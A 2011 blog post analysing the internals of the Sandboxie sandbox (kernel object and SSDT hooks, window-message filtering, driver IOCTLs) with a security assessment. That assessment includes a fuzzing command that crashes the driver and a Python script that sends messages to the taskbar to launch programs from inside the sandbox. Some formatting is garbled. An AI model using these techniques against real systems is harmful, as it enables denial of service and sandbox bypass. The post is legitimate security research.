Sandboxie. Process isolation with kernel hooks.

- May 23rd, 2011
- Posted in Uncategorized
- Write comment

1. Introduction:

Sandboxie is a sandbox that performs a process isolation. Its main features:

- Access control to kernel resources by direct hooks on kernel objects.

- Some ssdt and shadow ssdt hooks to control window messages.

- Some kernel registered callbacks to be notified of process creating, images loaded, …

In this article I will speak about sandbox design and I will perform a analysis from a security point of view.

2. Sandboxie design:

Sandboxie consists of a interface application, a service, … but we are interested in two components: SbieDrv.sys, the driver that hooks in kernel, and SbieDll.dll, the dll that is injected to the sandboxed processes.
Sandboxie driver hooks in kernel to protect resources from sandboxed processes (it hooks kernel objects of type “Type”, ssdt, shadow ssdt).

Driver will put a callback with PsLoadImageNotifyRoutine and PsCreateProcessNotifyRoutine to be notified when a image is loaded or a process is created. Sandboxie driver will have a list with all sandboxed processes that must control. If the parent of a created process is sandboxed, the new process will be linked in the list of sandboxed processes too.

The resource access control is easy: if the process is sandboxed, access is denied, and if the process is not sandboxed, access is granted.

However Sandboxie lets some resources to the sandboxed processes. In addition it builds a “parallel” file system, registry, … for sandboxed processes. For this reason Sandboxie will export a lot of functionality with Io Controls for accessing files, registry, … in a secure way. So sandboxed processes must
access system resources with Sandboxie driver Io Controls.

Here it comes SbieDll. **SbieDll will hook all exports for all dlls into the sandboxed processes.** This dll is necessary to have the sandboxed processes working. When it hooks important apis such as ZwCreateFile, ZwCreateProcess, ZwOpenKey, …, the dll stop the normal execution flow to kernel for redirecting it to SbieDrv Io Controls (if you remove all SbieDll user mode hooks with HookShark for example, you can see that the process can’t access anything).

### 3. Resources access control:

Sandboxie hooks some kernel objects found in `\ObjectTypes` directory: token, process, thread, event, section, port and semaphore, of type “Type”. It hooks the function pointer OpenProcedure (OB_OPEN_METHOD type) to control the access to that type of objects:

```
OBJECT_TYPE -> OBJECT_TYPE_INITIALIZER -> OpenProcedure
```

Only with this it can to control file disk access, registry, …

It must control window messages too (managed by win32k.sys). It must stop some messages from sandboxed processes, windows hooks, …

To do that SbieDrv intercepts some ssdt and shadow ssdt apis:

```
win32k_NtUserCallHwndParamLock
win32k_NtUserDestroyWindow
win32k_NtUserShowWindow
win32k_NtUserSendInput
win32k_NtUserBlockInput
win32k_NtUserSystemParametersInfo
win32k_NtUserSetSysColors
win32k_NtUserSetSystemCursor
win32k_NtUserMessageCall
win32k_NtUserPostMessage
win32k_NtUserPostThreadMessage
win32k_NtUserSetWindowsHookEx
win32k_NtUserSetWinEventHook
nt_NtRequestPort
nt_NtRequestWaitReplyPort
nt_NtTraceEvent
```

### 3.1. `\ObjectTypes` hooks:

We are going to analyze objects under `\ObjectTypes` and we will take Token object for this analysis with windbg:

```
WINDBG>!object \ObjectTypes
Object: e1000548  Type: (819f1418) Directory
ObjectHeader: e1000530 (old version)
HandleCount: 0  PointerCount: 25
Directory Object: e1001520  Name: ObjectTypes
Hash Address  Type          Name
—- ——-  —-          —-
00  819f1418 Type          Directory
01  819ccca0 Type          Thread
819c95e0 Type          Mutant
```
Como vemos de \ObjectTypes cuelgan varios objetos de tipo Type. La estructura de estos objetos es de tipo _OBJECT_TYPE.

We are interested on OBJECT_TYPE structure and OBJECT_TYPE_INITIALIZER because into this sub-structure we find the pointer to OpenProcedure and other callbacks (open, close, delete, …).

typedef struct _OBJECT_TYPE_INITIALIZER {
    USHORT Length;   // 2 bytes
    BOOLEAN UseDefaultObject; // 1 byte
    BOOLEAN Reserved; // 1 byte
} _OBJECT_TYPE_INITIALIZER;
ULONG InvalidAttributes; 4 bytes  
GENERIC_MAPPING GenericMapping; 16 bytes  
ULONG ValidAccessMask; 4 bytes  
BOOLEAN SecurityRequired; 1 byte  
BOOLEAN MaintainHandleCount; 1 byte  
BOOLEAN MaintainTypeList; 1 byte  
POOL_TYPE PoolType; 1 byte  
ULONG ObjectTypeCode; 4 bytes //-> this field depends on the OS version, it can  
//to be here or not so the offset of OpenProcedure  
//can to be +30h or +34h.  
ULONG DefaultPagedPoolCharge; 4 bytes  
ULONG DefaultNonPagedPoolCharge; 4 bytes  
//——  
OB_DUMP_METHOD DumpProcedure; 4 bytes  
OB_OPEN_METHOD OpenProcedure; 4 bytes  
OB_DELETE_METHOD DeleteProcedure; 4 bytes  
OB_PARSE_METHOD ParseProcedure; 4 bytes  
OB_SECURITY_METHOD SecurityProcedure; 4 bytes  
OB_QUERYNAME_METHOD QueryNameProcedure; 4 bytes  
OB_OKAYTOCLOSE_METHOD OkayToCloseProcedure; 4 bytes  
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;  
The field ObjectTypeCode only exists with some OS versions and builds. SbieDrv has in mind this fact.  
OpenProcedure pointer is OB_OPEN_METHOD:  
typedef NTSTATUS  
(NTAPI *OB_OPEN_METHOD)(  
IN OB_OPEN_REASON Reason,  
IN PEPROCESS Process OPTIONAL,  
IN PVOID ObjectBody,  
IN ACCESS_MASK GrantedAccess,  
IN ULONG HandleCount  
);  

This callback is called when a object of that type (process, token, …) is opened.  
SbieDrv hooks the callback OpenProcedure for token, process, thread, event, section, port and semaphore Types. In the next capture we see SbieDrv calling the function that will perform the hook:
It checks OS version and build number to calculate offsets to OpenProcedure into OBJECT_TYPE structure:

If version < 4:
    If BuildNumber <= 1770h:
    OpenProcedureOffset = pObjHeader+30h+60h
    Else:
    OpenProcedureOffset = pObjHeader+30h+28h
Else:
    If BuildNumber <= 1770h:
    OpenProcedureOffset = pObjHeader+30h+60h
    Else:
    OpenProcedureOffset = pObjHeader+34h+28h
It creates a code block for the hook that will write into system memory. Surely the OS checks that OpenProcedure is pointing to OS memory, or KeBugCheck is called. The blocks used for hooking will check always if the current process is a sandboxed process, and it will deny the access in that case. Else, it will grant the access.

This function that I called “ComprobarProcessIdEnListaDeSandboxeadosObtenerEstructura” searches the current process in the list of sandboxed processes.
In the next image we can see the code where SbieDrv will create the block code for hooks, and where it overwrite OpenProcedure with its pointer.

3.2. Ssdt and shadow ssdt hooks:
Sandboxie hooks these APIs:

- `win32k_NtUserCallHwndParamLock`
- `win32k_NtUserDestroyWindow`
- `win32k_NtUserShowWindow`
- `win32k_NtUserSendInput`
- `win32k_NtUserBlockInput`
- `win32k_NtUserSystemParametersInfo`
- `win32k_NtUserSetSysColors`
- `win32k_NtUserSetSystemCursor`
- `win32k_NtUserMessageCall`
- `win32k_NtUserPostMessage`
- `win32k_NtUserPostThreadMessage`
- `win32k_NtUserSetWindowsHookEx`
- `win32k_NtUserSetWinEventHook`
- `nt_NtRequestPort`
- `nt_NtRequestWaitReplyPort`
- `nt_NtTraceEvent`

Most of them are related to controlling window messages from sandboxed applications. We are going to analyze the `win32k_NtUserMessageCall` hook:

Hook `Win32k_Gestiona_MensajeDeVentana` is a function that performs checks over a window message sent by a sandboxed process to know if the message must be denied or not.
- It gets the process id of the sender and the receiver of the message. **If the process that will receive the message is sandboxed, the message is not denied.**

- If the message is 0x3e4 it’s not denied.

- It gets the target window class name. SbieDrv has a list of window class names to be managed with some exceptions:

  TrayNotifyWnd
  SystemTray_Main
  Connections Tray
  MS_WebcheckMonitor
  PrintTray_Notify_WndClass
  CicLoaderWndClass
  CicMarshalWndClass
  Logitech Wingman Internal Message Router
devldr
  CTouchPadSynchronizer
  Type32_Main_Window
  TForm_AshampooFirewall
  WinVNC desktop sink
  Afx:400000:0
  NVIDIA TwinView Window
  Shell_TrayWnd

It needs to add this exceptions to let some well known applications to run without problem into the sandbox: explorer, some navigators, etc…
- If the target of the message is a non-sandboxed process, and the sender is a sandboxed process:

  a) If the target window class name is not a class of the previous list, the message is denied.

  b) If the target window class name is in the list:

     1. If message < WM_USER(0x400), this messages are denied:

        2h – WM_DESTROY
        0Bh – WM_SETREDRAW
        10h – WM_CLOSE
        11h – WM_QUERYENDSESSION
        12h – WM_QUIT
        16h – WM_ENDSESSION
        3Bh –
        4Eh – WM_NOTIFY
        82h – WM_NCDESTROY
        111h – WM_COMMAND
        112h – WM_SYSCOMMAND
        319h

       The other messages are granted.

     2. If message > WM_USER, it depends on the window class name. For example, it will grant msg 0x4ec for Shell_trayWnd.

 4. Io Controls:
Sandboxie device is:
\device\SandboxieDriverApi

Io Controls must be:

DeviceType = FILE_DEVICE_UNKNOWN = 0x00000022
Function = 0x801
Method = METHOD_NEITHER
Access = 0

CTL_CODE(0x00000022, 0x801, METHOD_NEITHER, 0);

User buffer has a 0x8 <= size <= 0x40 bytes. The first DWORD is always 0x123400XX. It is the id of the operation to perform.

SbieDrv has a list with all ids associated with the function to manage them:

<table>
<thead>
<tr>
<th>Id</th>
<th>Function</th>
<th>Params</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x12340001</td>
<td>Query sandboxie version string.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0x12340002</td>
<td>Query sandboxed processes list.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Write a file.
0x12340007:
[0x12340007][XXXXXXXXX][XXXXXXXXX][XXXXXXXXX][XXXXXXXXX][XXXXXXXXX][ptr mem user out]
0x12340008:
[0x12340008][XXXXXXXXX][XXXXXXXXX][XXXXXXXXX][XXXXXXXXX][XXXXXXXXX][ptr mem user][XXXXXXXXX][ptr mem user][ptr mem user]
0x12340009: Get object from pid.
0x12340010
0x12340010c: query info about a sandboxed process.
0x12340010d: Query system time.
0x12340010e: Unprotect user mode memory.
0x12340010f: Query a sandbox option:
DisableBoxedWinSxS
InjectDll
AutoExec
OpenProtectedStorage
OpenCredentials
OpenWinClass
NoRenameWinClass
BoxName\Title
Clsid\Trace
OpenClsid
StartService
StartProgram
AutoRecover
RecoverFolder
AutoRecoverIgnore
0x123400110: Ask to the driver to update with sandboxie.ini y templates.ini (The driver will parse ini files).
0x123400111
0x123400115
0x12340016: Ask the driver to hook ssdt and shadow ssdt.
0x12340019
0x1234001c
0x1234001f: Related with access to disk.
0x12340021
0x12340024
0x12340025
0x12340026
0x12340028
0x1234002c: Get process handle.

5. Sandboxie security:

5.1. Fuzzing Io Controls:

Here is a simple fuzzing using Kartoffel (kartoffel.reversemode.com):

FOR %%A IN (0 1 2) DO FOR %%B IN (0 1 2 3 4 5 6 7 8 9 A B C D E F) DO Kartoffel -d \device\SandboxieDriverApi -n 0x40 -o 0x40 -z 0x40 -Z 0x40 -I 0x222007 -u CUSTOM,””[P=0x1234000%A%B:::0][B=0x41:::0x3e$4][!!]”

With this command line we sent Io Controls with size 0x40, and with id from 0x12340001 to 0x1234002f, with a buffer filled with ‘A’.

[0x123400XX][AAAAAAAAAABBBBBBBBBBBBBBBBBBB]

It is a really simple fuzzing, but it’s enough to get a bug check for 0x12340027 id:
WINDBG>!analyze -v

******************************************************************************
* Bugcheck Analysis *
******************************************************************************

** DRIVER_CORRUPTED_MMPOOL (d0) **

Arguments:
Arg1: 6b757a74, memory referenced
Arg2: 00123400, IRQL
Arg3: 00000000, value 0 = read operation, 1 = write operation
Arg4: 12340027, address which referenced memory

An attempt was made to access a pageable (or completely invalid) address at an interrupt request level (IRQL) that is too high. This is caused by drivers that have corrupted the system pool. Run the driver verifier against any new (or suspect) drivers, and if that doesn’t turn up the culprit, then use gflags to enable special pool. You can also set HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ProtectNonPagedPool to a DWORD 1 value and reboot. Then the system will unmap freed nonpaged pool, preventing drivers (although not DMA-hardware) from corrupting the pool.

Debugging Details:

******************************************************************************
* Your debugger is not using the correct symbols *
******************************************************************************

** READ_ADDRESS: 6b757a74  (kuzt -> tzuk -> el nombre del autor) **
** CURRENT_IRQL: 123400 **
** FAULTING_IP: +5c1952f012c4f0 **
** DEFAULT_BUCKET_ID: DRIVER_FAULT **
** BUGCHECK_STR: 0xD0 **
**KeBugCheck is called from SbieDrv so it is only a non dangerous DoS (we can cause it from a sandboxed process), but we can see that a simple fuzzing causes a crash, and this fact makes me suspicious of Sandboxie robusticity.**

### 5.2. Sending window messages to Shell_TrayWnd (excluded window):

Shell_TrayWnd is a window class name that Sandboxie will give a special management. Sandboxie will let to send more window messages to these window class name from the sandboxed processes.

The next script shows how these additional messages let us to launch application linked from the start menu from a sandboxed process:

```python
import random
random.seed()

# Define virtual key codes
VK_LEFT=0x25
VK_UP=0x26
VK_RIGHT=0x27
VK_DOWN=0x28
VK_RETURN=0x0d
VK_TAB=0x09
VK_SHIFT=0x10
```

import ctypes
import time
from ctypes.wintypes import DWORD, HWND, HANDLE, LPCWSTR, WPARAM, LPARAM, RECT, POINT

trayRect = RECT(0, 0, 0, 0)
trayWindow = ctypes.windll.user32.FindWindowExA(0, 0, 'Shell_TrayWnd', 0)
trayNotifyWindow = ctypes.windll.user32.FindWindowExA(trayWindow, 0, 'TrayNotifyWnd', 0)

def PressKey(hwin, key):
    msgkeydown = 0x100
    msgkeyup = 0x101
    ctypes.windll.user32.PostMessageA(hwin, msgkeydown, key, 0)  # KEYDOWN
    time.sleep(0.1)
    ctypes.windll.user32.PostMessageA(hwin, msgkeyup, key, 0)  # KEYUP
    time.sleep(0.1)

c = ctypes.windll.user32.PostMessageA(trayWindow, 0xa1, 1, 0x200020)  # WM_NCLBUTTONDOWN
ctypes.windll.user32.PostMessageA(trayWindow, 0xa2, 0, 0x200020)  # WM_NCLBUTTONUP

PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_RIGHT)
PressKey(trayWindow, VK_RIGHT)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_UP)

(The key pressed in this script will launch calc.exe in my system, with the disposition of my start menu).

This is not a high security risk but I think it is not the good behaviour for a sandbox.

5.3. Long names:

Sandboxie have problems with long names (more than MAX_PATH and less than 32767 wide chars) because LoadImageNotifyRoutine image name param comes with NULL.

I have not found security risks here but I have found some strange behaviours that will not appears if Sandboxie is not installed.

This detail makes us to think it is risky to intercept so much things in kernel, and difficult to have in mind all possibilities and cases.

5.4. Complex formats parsing:

From my point of view, Sandboxie has risky code in kernel.

For example, SbieDrv LoadImageNotifyRoutine callback parses in depth PE Headers of the loaded image (directly in user mode).
0x12340010 io control opens and parses .ini files from kernel:
SbieDrv disassembles instructions for hooking functions of kernel and user mode, to keep instructions at entry point of the function that will be overwritten.

5.5. Conclusion:

From my point of view process isolation sandboxes have a intrinsic risk:

- It is difficult to intercept all that sandboxed process should not have access.

- It will introduce risky code in sensitive points of the system.

- Hooks and changes to the system will depend of the system version and build, and lot of times they will be dirty and undocumented.

- Surely you will need to add some exceptions in the way that Sandboxie does.
Specifically, Sandboxie has risky code in kernel: PE headers parsing, ini files parsing.

My conclusion about Sandboxie is that it is a useful tool. I would run a navigator or a pdf reader sandboxed, to help to protect myself from vulnerabilities, but I wouldn’t run a malware to analyze its behaviour in Sandboxie, unless Sandboxie was running in vmware, bochs or other virtual machine.